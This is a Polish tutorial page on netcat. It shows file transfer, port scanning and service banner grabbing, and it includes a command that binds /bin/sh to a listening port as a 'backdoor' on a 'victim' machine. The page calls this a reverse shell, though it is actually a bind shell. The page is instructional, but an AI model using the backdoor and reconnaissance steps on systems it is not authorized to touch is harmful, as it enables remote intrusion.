TCP/IP
 ICMP
 TCP
 UDP
 Sliding Window
 Porty
 FTP
 Netcat
Picture

    NETCAT

Netcat, znany także pod krótsza nazwa nc jest jednym z najpopularniejszych programów używanych przez osoby zwiazane z bezpieczeństwem systemów komputerowych. Narzędzie to wysyła i odbiera dane poprzez sockety. Z pozoru mogło by się wydawać, że to niewiele ale na poniższych przykładach pokaże jak w praktyce można dużo dzięki temu osiagnać. Program ten występuje zarówno na platformach unixowych jak i na Windows.

Tylna furtka

Jednym z najczęstszych zastosowań jest reverse shell. Umożliwia nam to zdalne wywoływanie poleceń. Na komputerze „ofiary” odpalamy nc następujace komenda:

netcat -l -p 6669 -e /bin/sh

Parametr -l nakazuje nasłuchiwanie na połaczenie na porcie ustawionym parametrem -p, z kolei -e powoduje, że po nawiazaniu połaczenia zostanie uruchomiony podany program, w naszym przypadku powłoka bash. Na naszym komputerze uruchamiamy netcata poniższym sposobem:

netcat adres_ip_ofiary 6669

Ostatnia liczba jest portem na którym nasłuchuje odpalony na poczatku netcat. Gdy wpiszemy cokolwiek na lokalnie odpalonym nc, przekaże on te dane do nc na komputerze „ofiary”, które z kolei trafia do /bin/sh, wynik zwrócony przez powłokę powędruje z powrotem do nas, dzięki czemu możemy zobaczyć efekt wykonanej komendy.Wiele exploitów wykorzystuje w ten sposób netcata do odpalenia furtki na zaatakowanym systemie.

Przesyłanie pliku

W drugim przykładzie pokaże jak można za pomoca nc przesłać plik między dwoma komputerami. Na komputerze do którego chcemy wysłać plik uruchamiamy następujaca komendę:

netcat -l -p 6667 > plik

Na drugim komputerze:

netcat  localhost 6667 < plik

Wciskamy teraz CTRL-C, żeby zakończyć połaczenie i już gotowe :)

Skanowanie portów

Kolejnym przykładem jest skanowanie portów.

netcat -v  -z localhost 1-100

Parametr -v służy do zwiększenia wyswietlanych informacji, możemy także użyć podwójnego -vv, aby uzyskać jeszcze większa szczegółowosć. Parametrem -z nakazujemy, żeby po połaczeniu następowało od razu rozłaczenie. Na samym końcu komendy podajemy zakres skanowanych portów. Wynik polecenia wyglada następujaco:

localhost [127.0.0.1] 22 (ssh) open

localhost [127.0.0.1] 80 (www) open

Dodajac -r możemy wymusić losowe skanowanie portów a nie po kolei. Widzimy, że jest otwarty port 22 i 80 Połaczmy się teraz z portem 22, żeby uzyskać więcej informacji:

netcat localhost 22

SSH-2.0-OpenSSH_3.8.1p1

Widzimy teraz jaka wersje ssh jest uruchomiana na serwerze. W ten sposób możemy sprawdzać pozostałe uruchomione usługi na zdalnym komputerze. Niestety serwer www nie odpowie nam od razu, trzeba najpierw wysłać spreparowany string:

netcat localhost 80

HEAD / HTTP/1.0

[ENTER]

[ENTER]

Otrzymamy wtedy:

HTTP/1.1 200 OK

Date: Fri, 26 Nov 2004 16:36:39 GMT

Server: Apache/2.0.50 (Gentoo/Linux) PHP/4.3.9

X-Powered-By: PHP/4.3.9

Jak widać serwer apache ładnie nam się przedstawił, informacje takie moga się nam bardzo przydać w dalszym poszukiwaniu dziur w systemie.

Zakończenie

Pozostałe interesujace parametry to:

  • -w Okreslenie czasu przez jaki netcat ma nasłuchiwać na porcie
  • -u Użycie pakietów UDP zamiast TCP
  • -n Użycie wyłacznie adresów ip zamiast nazw domenowych

W dokumentacji netcata widzimy, że twórcy tego programu nazywaja go scyzorykiem, gdyż jak zobaczylismy w powyższych przykładach można go zastosować do wielu rzeczy.

 

[TCP/IP] [ICMP] [TCP] [UDP] [Sliding Window] [Porty] [FTP] [Netcat]